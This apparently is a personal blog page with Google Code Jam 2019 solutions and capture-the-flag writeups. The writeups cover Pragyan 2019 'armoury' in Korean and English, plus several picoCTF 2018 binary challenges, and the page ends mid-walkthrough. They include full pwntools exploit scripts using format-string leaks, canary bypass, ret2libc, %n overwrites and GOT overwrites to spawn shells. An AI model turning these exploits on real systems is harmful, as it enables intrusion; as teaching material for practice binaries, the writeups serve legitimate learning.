반응형

Foregone Solution

Problem

Someone just won the Code Jam lottery, and we owe them N jamcoins! However, when we tried to print out an oversized check, we encountered a problem. The value of N, which is an integer, includes at least one digit that is a 4... and the 4 key on the keyboard of our oversized check printer is broken.

Fortunately, we have a workaround: we will send our winner two checks for positive integer amounts A and B, such that neither A nor B contains any digit that is a 4, and A + B = N. Please help us find any pair of values A and B that satisfy these conditions.

Input

The first line of the input gives the number of test cases, T. T test cases follow; each consists of one line with an integer N.

Output

For each test case, output one line containing Case #x: A B, where xis the test case number (starting from 1), and A and B are positive integers as described above.

It is guaranteed that at least one solution exists. If there are multiple solutions, you may output any one of them. (See "What if a test case has multiple correct solutions?" in the Competing section of the FAQ. This information about multiple solutions will not be explicitly stated in the remainder of the 2019 contest.)

Limits

1 ≤ T ≤ 100.
Time limit: 10 seconds per test set.
Memory limit: 1GB.
At least one of the digits of N is a 4.

Test set 1 (Visible)

1 < N < 105.

Test set 2 (Visible)

1 < N < 109.

Solving the first two test sets for this problem should get you a long way toward advancing. The third test set is worth only 1 extra point, for extra fun and bragging rights!

Test set 3 (Hidden)

1 < N < 10100.

Sample

In Sample Case #1, notice that A and B can be the same. The only other possible answers are 1 3 and 3 1.

My Solution:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include<stdio.h>
#include<math.h>
int main (){
    
    int loop = 0;
    scanf ("%d"&loop);
    
    for(int i=0; i < loop; i++){
        int input = 0;
        int count = 1;
        scanf ("%d"&input);
 
        int output1 = input;
        int output2 = 0;
 
        while (output1 >= 4){
            if (output1 % 10 == 4){
                output2 += pow(10, (count-1));
            } 
            output1 = output1 / 10;
            count++;
        }
        printf ("Case #%d: %d %d\n", i+1, input - output2, output2);
    }
        return 0;
}
cs

 

You Can Go Your Own Way

Problem

You have just entered the world's easiest maze. You start in the northwest cell of an N by N grid of unit cells, and you must reach the southeast cell. You have only two types of moves available: a unit move to the east, and a unit move to the south. You can move into any cell, but you may not make a move that would cause you to leave the grid.

You are excited to be the first in the world to solve the maze, but then you see footprints. Your rival, Labyrinth Lydia, has already solved the maze before you, using the same rules described above!

As an original thinker, you do not want to reuse any of Lydia's moves. Specifically, if her path includes a unit move from some cell A to some adjacent cell B, your path cannot also include a move from A to B. (However, in that case, it is OK for your path to visit A or visit B, as long as you do not go from A to B.) Please find such a path.


In the following picture, Lydia's path is indicated in blue, and one possible valid path for you is indicated in orange:

Input

The first line of the input gives the number of test cases, T. T test cases follow; each case consists of two lines. The first line contains one integer N, giving the dimensions of the maze, as described above. The second line contains a string P of 2N - 2 characters, each of which is either uppercase E (for east) or uppercase S (for south), representing Lydia's valid path through the maze.

Output

For each test case, output one line containing Case #x: y, where x is the test case number (starting from 1) and y is a string of 2N - 2 characters each of which is either uppercase E (for east) or uppercase S (for south), representing your valid path through the maze that does not conflict with Lydia's path, as described above. It is guaranteed that at least one answer exists.

Limits

1 ≤ T ≤ 100.
Time limit: 15 seconds per test set.
Memory limit: 1GB.
P contains exactly N - 1 E characters and exactly N - 1 S characters.

Test set 1 (Visible)

2 ≤ N ≤ 10.

Test set 2 (Visible)

2 ≤ N ≤ 1000.

Test set 3 (Hidden)

For at most 10 cases, 2 ≤ N ≤ 50000.
For all other cases, 2 ≤ N ≤ 10000.

Sample

In Sample Case #1, the maze is so small that there is only one valid solution left for us.

Sample Case #2 corresponds to the picture above. Notice that it is acceptable for the paths to cross.

My Solution:

1
2
3
4
5
6
7
8
9
10
11
12
13
loop = int(input())
for i in range(loop):
    size = int(input())
    lydia = input()
    my_str = ""
    
    for char in lydia:
        if char == "S":
            my_str += "E"
        else:
            my_str += "S"
            
    print("Case #{}: {}".format(i+1,my_str))
cs
반응형

'CTF > Writeup' 카테고리의 다른 글

[Pragyan 2019] armoury [KR]  (0) 2019.03.22
[Pragyan 2019] armoury  (0) 2019.03.21
반응형

armoury


0. 들어가기 전에 필요한 것


gdb-peda랑 pwntools 다운받기

- 버퍼오버플로우와 RTL (Return-to-Libc)기법에 대한 이해

- 64비트 환경이 32비트 환경과 어떤 점(레지스터, 함수 호출)이 다른지에 대한 이해


P.S: gdb에서 ASLR 키는 법:

set disable-randomization off


이 글은 Naivenom님의 라잇업을 참고하여 쓴 글입니다.




1. 프로그램 실행


바이너리를 돌려보면 포맷 스트링 버그가 일어나는걸 볼 수 있다. (물론 IDA로 뜯어 보아도 좋다.. 하지만 귀찮기 때문에 생략함) 


chanbin_lee123@linux:~$ ./armoury

*******Rifle Database**************


Enter the name of Rifle to get info:

%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p


----------------DATA-------------------

0x7fa5447c5683.0x7fa5447c6760.0x7fa544506970.0x7fa5449e7440.(nil).0x1.0x1dbcdbced.0x252e70252e702500.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0xc8316ab63d007025.0x5622dbcdbca0:

Sorry... We dont have any information about %p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

---------------------------------------


Enter the name of Rifle to get info:

^C


보면 주소랑 스택이랑 줄줄 샌다.. 처음에 몇몇 주소들이 릭되고 9번째 인자부터 보면 스택의 내용이 그대로 릭되는걸 볼 수 있다. (빨간색 글씨가 스택의 내용물)


이 다음에 해야 할 것은 프로그램의 보안기법을 확인하는것.


chanbin_lee123@linux:~$ gdb -q armoury

Reading symbols from armoury...(no debugging symbols found)...done.

gdb-peda$ checksec

CANARY    : ENABLED 

FORTIFY   : disabled

NX        : ENABLED

PIE       : ENABLED

RELRO     : FULL


Canary (Stack Smashing Protector, Cookie): 카나리는 널바이트로 끝나는 문자열인데, sfp와 ret 전에 위치하고 있다. (스택에 들어가있다는 뜻) 프로그램이 종료되기 전 이 값을 초기에 로드했던 값과 비교하는데, 이 값이 스택에서 변조되어 있으면 버퍼오버플로우 취약점으로 인해 값이 변조된걸 알아채고 프로그램을 그자리에서 끔살시켜버린다. 정말로 어마무시한 기법이 아닐 수가 없다. (하지만 위에서 말했던 대로 스택이 줄줄 새는 상태에서 카나리라고 안 샐 법이 없겠지?)


NX: Non-executable - 스택에 실행권한이 없다. 쉘코드를 스택에 올려서 돌리는 짓을 할 수 없다 이말이다.


ELF: Executables and Linkable Format 바이너리 파일. 실행파일임. ROP에 사용할 수 있는 가젯들을 포함하고 있다.


PIE: Position Independent Executable - PIE == ASLR이라는 소리를 들었는데 아니라더라.(젠장) PIE의 뜻은 님의 ELF파일을 실행했을때 임의의 주소에 얹혀서 돌아갈거란 소리임 (.data .code..등등).  "objdump -d <ELF executable>"로 확인하면 주소값이 주소가 아닌 오프셋으로 나와있는게 보인다. 랜덤한 베이스 주소에 오프셋을 더해서 프로그램을 돌림. 그래서 하고싶은 말은 ROP를 하려면 가젯을 사용하고 싶은데 어떤 주소를 써야할지 모르겠는 상황이 와버림. 근데 오프셋은 똑같으니 베이스 주소만 있으면 오프셋 더해서 아무거나 호출할 수 있음.


ASLR (non-PIE): 스택, 힙, 라이브러리(libc)의 주소를 임의로 정한다. non-PIE가 걸리면 적어도 메인 바이너리는 늘 같은 곳에 로드될거란 뜻


RELRO: 이게 FULL이면 GOT Overwrite가 불가능하다. GOT가 읽기권한으로 스폰되기 때문임.




2. 여기저기서 준비물 모으기


필요한거:
- 카나리 릭

- 가젯 (pop rdi; ret)

- libc 주소 세개:

- libc 베이스 주소

- libc베이스부터 system()까지의 오프셋

libc베이스부터 "/bin/sh"까지의 오프셋


2.1. 카나리 릭


gdb로 까서 main에 브포를 걸어서 (b *main) 대충 실행하고 (r) 프로그램에 대충 입력("BBBB")을 주고 브포가 걸리면 $rsp에 뭐가 들었나 구경해보자.

스택에 있는 정보를 릭할 수 있는건 이미 알고 있으니까 이번에는 어떤 것을 릭해야하는지 알아보는 차례.



BBBB (0x42424242)가 보인당. 좀 더 보다보면 카나리가 보인당. (널바이트로 끝남) 카나리 뒤의 sfp도 보이고, ret주소도 보인다.

스택의 시작이 %9$p였으므로 카나리는 %13$p, sfp는 %14$p로 구할 수 있다! 


2.2. ELF 베이스 주소



SFP(저장된 RBP)를 보고 위의 정보와 비교해보면, %14$p에서 마지막 세 바이트만 0으로 대체하면 베이스 주소를 얻을 수 있는게 보인다.

가젯을 쓰려면 오프셋이 필요하니까 이 주소도 필요하다.


2.3. LIBC 베이스 주소


이번엔 giveInfo에 브포를 건다. 프로그램을 실행할 때 %3$p를 주면 gdb-peda가 주소를 하나 뱉는다.




위처럼 libc베이스 주소를 참조하여 필요한 물건들의 오프셋을 구한다. 배고프다. 

gdb-peda$ p 0x7ffff7b15970-0x00007ffff7a3a000 

$1 = 0xdb970


gdb-peda$ p system

$2 = {<text variable, no debug info>} 0x7ffff7a79480 <__libc_system>


gdb-peda$ p 0x7ffff7a79480 -0x00007ffff7a3a000 

$3 = 0x3f480


구한 것들:

%3$p: <__write_nocancel+7>의 주소

libc까지의 오프셋: 0xdb970

libc부터 system까지의 오프셋: 0x3f480


--> %3$p - libc까지의 오프셋 + libc부터 system까지의 오프셋 = system주소 (in libc)


2.4. "/bin/sh"의 주소


gdb-peda$  find "/bin/sh"

Searching for '/bin/sh' in: None ranges

Found 1 results, display max 1 items:

libc : 0x7ffff7b9bc19 --> 0x68732f6e69622f ('/bin/sh')


gdb-peda$ p 0x7ffff7b9bc19 -0x00007ffff7a3a000 

$4 = 0x161c19


2.5. ROP 가젯 (pop rdi; ret)


chanbin_lee123@instance-2:~$ ROPgadget --binary armoury

Gadgets information

============================================================

0x0000000000000d03 : pop rdi ; ret




3. POC


BUFFER [24]

CANARY [8]

DUMMY [8]

POP RDI; RET [8]

ADDRESS OF "/BIN/SH" [8]

ADDRESS OF SYSTEM() [8]


(64비트환경의 Return-to-libc 기법)




4. Exploit 설명


풀 익스플로잇은 스크롤을 내리면 보일 것이다. 

정보는 나누어 가지는 것이라고 배웠기 때문에 최선을 다해 설명하겠다..


1
2
3
4
5
payload = ""
 
r.recvuntil("Enter the name of Rifle to get info:\n")
r.send("%3$p.%13$p.%14$p\n"# libc address, canary, saved rbp
 
cs

우리는 3번째, 13번째, 14번째 인자를 원하므로 주소들을 릭한다.


1
2
3
4
5
6
leak = r.recvuntil(":").replace(":""").split(".")
leaked_libc = int(leak[0], 16)
 
offset_to_libc = 0xdb970
offset_to_system = 0x3f480
offset_to_binsh = 0x161c19
cs
릭된 주소들을 '.'에 따라 나눈다. 

leak[0] = 3번째 인자, leak[1] = 카나리, leak[2] = sfp

오프셋도 저장함.


1
2
3
libc_addr = leaked_libc - offset_to_libc
system_addr = libc_addr + offset_to_system
binsh_addr = libc_addr + offset_to_binsh
cs

오프셋으로 각각의 주소를 계산한다. (이게 이해가 안된다면 2.3 다시 읽어보기)

1
2
3
4
5
6
canary = int(leak[1], 16)
leaked_elf = int(leak[2], 16)
elf_addr = leaked_elf - (leaked_elf & 0xfff)

offset_pop_rdi = 0xd03
pop_rdi = elf_addr + offset_pop_rdi
cs
카나리를 숫자로 변환하고, ELF베이스를 계산한다. 

&0xfff 오퍼레이션을 하게 되면 그 주소의 마지막 3바이트를 얻게 되니 그걸 원 주소에서 빼면 된다.


1
2
3
4
5
6
7
payload += "A"*24 # Fill up the buffer
payload += p64(canary) # Canary
payload += "B"*8 # Overwrite saved RBP
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += "\n"
cs
위에 적어놓은 대로 (POC) 전형적인 RTL기법이다. system() 인자가 RDI로 넘겨지므로 RDI에 /bin/sh의 주소를 넣고 system()을 호출한다.





5. Full Exploit 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
 
= process("./armoury")
 
payload = ""
 
r.recvuntil("Enter the name of Rifle to get info:\n")
r.send("%3$p.%13$p.%14$p\n"# libc address, canary, saved rbp
 
r.recvuntil("----------------DATA-------------------\n")
 
leak = r.recvuntil(":").replace(":""").split(".")
leaked_libc = int(leak[0], 16)
 
offset_to_libc = 0xdb970
offset_to_system = 0x3f480
offset_to_binsh = 0x161c19
 
libc_addr = leaked_libc - offset_to_libc
system_addr = libc_addr + offset_to_system
binsh_addr = libc_addr + offset_to_binsh
 
print "libc address: " + hex(libc_addr)
print "system address: " + hex(system_addr)
print "binsh address: " + hex(binsh_addr)
 
canary = int(leak[1], 16)
leaked_elf = int(leak[2], 16)
elf_addr = leaked_elf - (leaked_elf & 0xfff)
 
print "canary: " + hex(canary)
print "elf address: " + hex(elf_addr)
 
offset_pop_rdi = 0xd03
pop_rdi = elf_addr + offset_pop_rdi
 
payload += "A"*24 # Fill up the buffer
payload += p64(canary) # Canary
payload += "B"*8 # Overwrite saved RBP
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += "\n"
 
r.recvuntil("Enter the name of Rifle to get info:\n")
r.send("AAAA\n")
 
r.recvuntil("Would you like to give us some feedback:\n")
r.send(payload)
 
r.interactive()
cs


반응형

'CTF > Writeup' 카테고리의 다른 글

Google Code Jam 2019 Qualification Rounds  (1) 2019.04.08
[Pragyan 2019] armoury  (0) 2019.03.21
반응형

armoury


0. Some pre-requisites: 


- It's nice to have gdb-peda and pwntools.

- Knowledge on buffer overflow and ret2libc. 

- Knowledge of 64-bit environments and its difference from 32-bit environments (optional)
- "scanf will quite happily read null bytes. it only stops at white space - strcpy/strcat are the functions you should worry about null bytes" -brx


P.S: How to set ASLR on on gdb (turns off every instance):

set disable-randomization off


This writeup is based on Naivenom's writeup from the CTF which can be found here.




1. Examining the program


When we boot up the program, we can clearly see the program has a format string bug:


chanbin_lee123@linux:~$ ./armoury

*******Rifle Database**************


Enter the name of Rifle to get info:

%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p


----------------DATA-------------------

0x7fa5447c5683.0x7fa5447c6760.0x7fa544506970.0x7fa5449e7440.(nil).0x1.0x1dbcdbced.0x252e70252e702500.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0xc8316ab63d007025.0x5622dbcdbca0:

Sorry... We dont have any information about %p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

---------------------------------------


Enter the name of Rifle to get info:

^C


As per the bolded text, we can see that there are some addresses leaking (we will observe this later), and then further, the material in the stack highlighted in red. We can observe that the stack information is leaked from the 9th argument (after 9 "%p"s). 


Let's check the security on the program.


chanbin_lee123@linux:~$ gdb -q armoury

Reading symbols from armoury...(no debugging symbols found)...done.

gdb-peda$ checksec

CANARY    : ENABLED 

FORTIFY   : disabled

NX        : ENABLED

PIE       : ENABLED

RELRO     : FULL


Canary (Stack Smashing Protector, Cookie): A null-byte terminated string that is located before the saved stack frame pointer (RBP) and return address (RET). This is a value that the program compares to its original value (__stack_chk_fail)  before it returns. If this value is overwritten because of a buffer overflow vulnerability, the program will realize that it will not be safe to continue and will terminate the program.


NX: Non-executable bit - you will not be able to execute any kind of shellcode by placing them on the stack. 


ELF: Executables and Linkable Format


PIE: Position Independent Executable - All the sections of the program are randomly loaded into memory. (This includes the .data and .code section of the program). But, since the PIE only changes the executable's base address, you will be able to see that if you execute the command "objdump -d <ELF executable>" the output will only give offsets. And these offsets are static!


ASLR (non-PIE): Changes the position of stack, heap, library (but the main executable will get loaded in the same address.) 

RELRO: Basically a full RELRO means that you won't be able to do anything like a GOT overwrite.




2. Gathering materials


What we need:
- Leaked canary

- Gadget (pop rdi; ret)

- Three libc addresses:

- base of libc

- (offset to) system()

- (offset to) "/bin/sh"


2.1. Getting the Canary


So, we already know from the first format string bug, that we are able to access information on the stack.

I first put a breakpoint in main (using the b *main command) and ran the program, giving "BBBB" as the input. 

At the breakpoint, we can investigate the value of $rsp to see what we have.



As you may observe, we have BBBB (0x42424242) on the stack. We can also see the canary (ending with a null byte), the saved RBP, and return address, all highlighted above.


The canary is located right before the stack frame pointer. As we know that the stack is leaked after 9 %ps, we can conclude that the canary is the 13th argument, the sfp is 14th, and the return address is the 15th argument we can receive from our format string.


2.2. Getting the ELF base address



When we observe the saved RBP, we can see that if we null the last three bytes out, we will be able to get the base ELF address. 

This will be useful to us when we obtain our gadget as offsets from the base address.


2.3. Getting the LIBC base address

Breakpoint at giveInfo to set a stop, so that we can observe the registers and addresses. (b giveInfo)

Run the program. (r)



There we can see the address we get from executing scanf("%3$p"); (third argument of the output)



If we take a look at our third argument that gets leaked, we can use that leaked address to get the offset to our libc as shown above. We need grab a few more values too.


gdb-peda$ p 0x7ffff7b15970-0x00007ffff7a3a000 

$1 = 0xdb970


gdb-peda$ p system

$2 = {<text variable, no debug info>} 0x7ffff7a79480 <__libc_system>


gdb-peda$ p 0x7ffff7a79480 -0x00007ffff7a3a000 

$3 = 0x3f480


We see that:

%3$p: Address of <__write_nocancel+7>

Offset to libc: 0xdb970

Offset from libc to system: 0x3f480


--> %3$p - offset to libc + offset from libc to system = address of system (in libc)


2.4. Address of "/bin/sh"


gdb-peda$  find "/bin/sh"

Searching for '/bin/sh' in: None ranges

Found 1 results, display max 1 items:

libc : 0x7ffff7b9bc19 --> 0x68732f6e69622f ('/bin/sh')


gdb-peda$ p 0x7ffff7b9bc19 -0x00007ffff7a3a000 

$4 = 0x161c19


2.5. ROP Gadgets (pop rdi; ret)


chanbin_lee123@instance-2:~$ ROPgadget --binary armoury

Gadgets information

============================================================

0x0000000000000d03 : pop rdi ; ret




3. POC


BUFFER [24]

CANARY [8]

DUMMY [8]

POP RDI; RET [8]

ADDRESS OF "/BIN/SH" [8]

ADDRESS OF SYSTEM() [8]


(Basic ret2libc structure)




4. Exploit Rundown


Full exploit can be found in the next section.

I'll try my best to explain everything. T_T Please ask if you don't understand something.


1
2
3
4
5
payload = ""
 
r.recvuntil("Enter the name of Rifle to get info:\n")
r.send("%3$p.%13$p.%14$p\n"# libc address, canary, saved rbp
 
cs

We want the 3rd, 13th and 14th arguments so we leak those.


1
2
3
4
5
6
leak = r.recvuntil(":").replace(":""").split(".")
leaked_libc = int(leak[0], 16)
 
offset_to_libc = 0xdb970
offset_to_system = 0x3f480
offset_to_binsh = 0x161c19
cs

Once we receive the leaks, we split the string regarding '.'

leak[0] = 3rd argument, leak[1] = canary, leak[2] = sfp

I also save the offsets I have.


1
2
3
libc_addr = leaked_libc - offset_to_libc
system_addr = libc_addr + offset_to_system
binsh_addr = libc_addr + offset_to_binsh
cs
Calculate all the addresses I need using the offsets. If any of these calculations don't make sense, refer back to section 2.3 - I've explained a little bit there.

1
2
3
4
5
6
canary = int(leak[1], 16)
leaked_elf = int(leak[2], 16)
elf_addr = leaked_elf - (leaked_elf & 0xfff)

offset_pop_rdi = 0xd03
pop_rdi = elf_addr + offset_pop_rdi
cs

I also cast the canary to int here, and calculate the ELF base address.

If you do a &0xfff operation, you get the last three bytes of a number - so we can just subtract this from the original address and we get the base address.


1
2
3
4
5
6
7
payload += "A"*24 # Fill up the buffer
payload += p64(canary) # Canary
payload += "B"*8 # Overwrite saved RBP
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += "\n"
cs

As written above (POC) this is the generic ret2libc payload. Since the argument to system() is passed on through RDI we load the address of /bin/sh on RDI (using pop rdi) and call system().




5. Full Exploit


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
 
= process("./armoury")
 
payload = ""
 
r.recvuntil("Enter the name of Rifle to get info:\n")
r.send("%3$p.%13$p.%14$p\n"# libc address, canary, saved rbp
 
r.recvuntil("----------------DATA-------------------\n")
 
leak = r.recvuntil(":").replace(":""").split(".")
leaked_libc = int(leak[0], 16)
 
offset_to_libc = 0xdb970
offset_to_system = 0x3f480
offset_to_binsh = 0x161c19
 
libc_addr = leaked_libc - offset_to_libc
system_addr = libc_addr + offset_to_system
binsh_addr = libc_addr + offset_to_binsh
 
print "libc address: " + hex(libc_addr)
print "system address: " + hex(system_addr)
print "binsh address: " + hex(binsh_addr)
 
canary = int(leak[1], 16)
leaked_elf = int(leak[2], 16)
elf_addr = leaked_elf - (leaked_elf & 0xfff)
 
print "canary: " + hex(canary)
print "elf address: " + hex(elf_addr)
 
offset_pop_rdi = 0xd03
pop_rdi = elf_addr + offset_pop_rdi
 
payload += "A"*24 # Fill up the buffer
payload += p64(canary) # Canary
payload += "B"*8 # Overwrite saved RBP
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += "\n"
 
r.recvuntil("Enter the name of Rifle to get info:\n")
r.send("AAAA\n")
 
r.recvuntil("Would you like to give us some feedback:\n")
r.send(payload)
 
r.interactive()
cs


반응형

'CTF > Writeup' 카테고리의 다른 글

Google Code Jam 2019 Qualification Rounds  (1) 2019.04.08
[Pragyan 2019] armoury [KR]  (0) 2019.03.22
반응형

I read the following post when I realized I needed pwntools: https://pequalsnp-team.github.io/cheatsheet/socket-basics-py-js-rb

Awesome tool to have. Makes things more convenient and easier to share.


Note: this writeup covers binary exploitation only.


This is random but I found a set of slides with a lot of info (refer to the references section)

http://security.cs.rpi.edu/~candej2/user/userland_exploitation.pdf

https://www.cs.virginia.edu/~cr4bd/4630/S2017/schedule.html




leak-me 

Points: 200


Can you authenticate to this service and get the flag? Connect with nc 2018shell.picoctf.com 38315.



Just try and overflow the buffer (because that's what I do when I see a problem - obviously not good practice and won't work on other CTFs than pico)


EverTokki@pico-2018-shell:~$ (echo -e `perl -e 'print "\x90"x312'`) | nc 2018shell.picoctf.com 38315What is your name?
Hello �������������������������������������������������������������������

�������������������������������������������������������������������

�������������������������������������������������������������������

������������������������������������������������������,a_reAllY_s3cuRe_p4s$word_f85406

Incorrect Password!





got-2-learn-libc

Points: 250


This program gives you the address of some system calls. Can you get a shell? 


I used pwntools by apt-getting in /home/<user> because this is the only directory you'll have the perms for on the pico server to do anything.

This was my first time using this tool + I was not familiar with python = writing disasterous code


Read up on the following articles for more info on GOT, PLT, RTL (return-to-libc) and how to actually execute them:

https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html

https://github.com/Bretley/how2exploit_binary/tree/master/exercise-4



Basically you want to send 148 bytes of stuff, a return address (which is a call to system()), a dummy (which is the return address coming from system()), and the address of /bin/sh (given through the program output)


[Buffer 148 bytes] [RET 4 bytes] [DUMMY 4 bytes] [/bin/sh 4 bytes]


If you run the program multiple times, you realize that the function addresses keep changing - yikes seems like ASLR!

That's why I recommended the readings above because you can bypass this.


First calculate the offset from libc <--> puts on gdb, then calculate the offset from libc <--> system because offsets are set values. 

Because the program hands the address of puts to you after it's run, you don't have to worry about ASLR after implementing the code


The most challenging part was actually coding this up because it's been a while since I've ever touched python (about 5 years) and back then I wasn't even proficient either so.. after a lot of debugging I came up with the following code.


The nop is 160 long because if the exploit doesn't work with 148, basically just go up with multiples of 4 until you make it :)


from pwn import *

r = process('/problems/got-2-learn-libc_0_4c2b153da9980f0b2d12a128ff19dc3f/vuln')

r.recvline()
r.recvline()
p = r.recvline()
r.recvline()
r.recvline()
r.recvline()
ustr = r.recvline()
r.recvline()
r.recvline()

# Cut the received string into numbers (0x...)
p_addr = int(p[6:],16)
ustr_addr = int(ustr[15:],16)

#LIBC offsets
p_offset = 0x46C00
s_offset = 0x22400
 
#Calculate system address
s_addr = p_addr - p_offset + s_offset

#Payload
exploit = "\x90"*160
exploit += p32(s_addr, endian='little')
exploit += "\x90"*4
exploit += p32(ustr_addr, endian='little')

r.sendline(exploit)
r.interactive()


EverTokki@pico-2018-shell:~$ python rtl.py 

[+] Starting local process '/problems/got-2-learn-libc_0_4c2b153da9980f0b2d12a128ff19dc3f/vuln': pid 31318

[*] Switching to interactive mode

\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90@?[?\x90\x90\x90\x900P[V

Thanks! Exiting now...

$ cat /problems/got-2-learn-libc_0_4c2b153da9980f0b2d12a128ff19dc3f/flag.txt

picoCTF{syc4al1s_4rE_uS3fUl_b61928e8}$  





authenticate

Points: 350


Can you authenticate to this service and get the flag? Connect with nc 2018shell.picoctf.com 52398.


If anyone knows me from my olden days, I've only known the format string vulnerability and never used it. 

I've also known ROP and never tried it.

I've never bypassed stack canary. OR bypassed ASLR.

I love pico. It's a perfect opportunity.


https://blogs.tunelko.com/2013/11/11/format-string-attack-introduction/

This helped me a lot.



So you want to overwrite the authenticated variable, but how? It's a global variable.. How could we ever reach that?

Take a look at the hint.


Well, if you don't give it an input thats YES or NO, it printfs buf (!!!!).. It's a format string bug.



(I opened the binary file on this page https://onlinedisassembler.com/ to find the address of the 'authenticated' variable)

Throw that inside your payload, load it into yo' stack and then now you have to locate it.


EverTokki@pico-2018-shell:~$ echo `perl -e 'print "AAAA",".%p"x11'` | nc 2018shell.picoctf.com 52398

Would you like to read the flag? (yes/no)

Received Unknown Input:


AAAA.0x80489a6.0xf76e55a0.0x804875a.0xf771d000.0xf771d918.0xffc5c3d0.0xffc5c4c4.(nil).0xffc5c464.0x42b.0x41414141

Sorry, you are not *authenticated*!


You see the buffer values when you give in the above. (Just put a bunch of %ps in the first time and locate where you see your stuff)

This means that our input is located after 11 4-byte chunks in the stack.


After putting the address of 'authenticated' into the buffer you want to overwrite it, right? 

You can overwrite the 'authenticated' variable using %n , overwriting the 'authenticated' variable with anything other than 0.

(%n will refer to &<ADDRESS> which you already have put into the stack.)


EverTokki@pico-2018-shell:~$ cat auth.py

#exp.py

#!/usr/bin/env python

from pwn import *


r = remote('2018shell.picoctf.com', 52398)


print r.recvuntil("Would you like to read the flag? (yes/no)\n")


exploit = "\x4c\xa0\x04\x08"

exploit += "%p"*10

exploit += "%n"


print "Sending stuff...\n"

r.sendline(exploit)


print r.recv()

print r.recv()


EverTokki@pico-2018-shell:~$ python auth.py 

[+] Opening connection to 2018shell.picoctf.com on port 52398: Done

Would you like to read the flag? (yes/no)


Sending stuff...


Received Unknown Input:



L\xa0\x00x80489a60xf776e5a00x804875a0xf77a60000xf77a69180xffbe35800xffbe3674(nil)0xffbe36140x42b

Access Granted.

picoCTF{y0u_4r3_n0w_aUtH3nt1c4t3d_0bec1698}


[*] Closed connection to 2018shell.picoctf.com port 52398





got-shell?

Points: 350


Can you authenticate to this service and get the flag? Connect to it with nc 2018shell.picoctf.com 46464


So... I don't have a strong understanding of PLT / GOT either, all I know is that processes reference to them in order to execute library functions, such as printf(), puts(), exit()... etc. 


For this problem I referred to the article below.

https://www.exploit-db.com/papers/13203


I eventually figured what I wanted to do was to overwrite the address that exit@plt was referring to. 

With what? Of course, the address of win. Let's get that first.


EverTokki@pico-2018-shell:~$ gdb auth

Reading symbols from auth...(no debugging symbols found)...done.

(gdb) p win

$1 = {<text variable, no debug info>} 0x804854b <win>


Pretty straightforward. We want the function to jump to win after it executes.

Now let's find where we should overwrite these values on.


EverTokki@pico-2018-shell:~$ objdump --dynamic-reloc ./auth | grep exit

0804a014 R_386_JUMP_SLOT   exit@GLIBC_2.0


We have two addresses.


dhcp-206-87-132-189:Downloads EverTokki$ nc 2018shell.picoctf.com 46464

I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?

0804a014

Okay, now what value would you like to write to 0x804a014

804854b

Okay, writing 0x804854b to 0x804a014

Okay, exiting now...


ls

auth

auth.c

flag.txt

xinet_startup.sh


cat flag.txt

picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_7a9e7634}




rop chain

Points: 350


Can you exploit the following program and get the flag? 




Seems like you'll have to call win_function1 --> win_function2 --> flag in order to satisfy all conditions.

Sounds like rtl(return-to-libc) chaining. Guess we can call that rop(return-oriented-programming) too.


What we need:
1. Address to win_function1()

2. Address to win_function2()

3. Address to flag()

4. Gadget : pop ret


What we want the payload to look like:

[Buffer 16 bytes + x amount of padding (that you can determine by brute forcing)]  [win1 address 4 bytes] [win2 address 4 bytes] [pop ret gadget 4 bytes] [ 0xBAAAAAAD ] [flag address 4 bytes] [dummy 4 bytes] [ 0xDEADBAAD ]


Please read up on return-to-libc and some rop articles if you don't understand why the payload is as is.


Simply put, after returning from win2, you know that win2 takes one parameter (0xBAAAAAAD). So you have to jump over that one argument in order to execute flag(). (Basically what pop ret does.) If win2 were to take two parameters, you would have to find a pop pop ret gadget.


Let's do it.


EverTokki@pico-2018-shell:/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d$ gdb rop

Reading symbols from rop...(no debugging symbols found)...done.

(gdb) p win_function1

$1 = {<text variable, no debug info>} 0x80485cb <win_function1>

(gdb) p win_function2

$2 = {<text variable, no debug info>} 0x80485d8 <win_function2>

(gdb) p flag

$3 = {<text variable, no debug info>} 0x804862b <flag>

(gdb) q


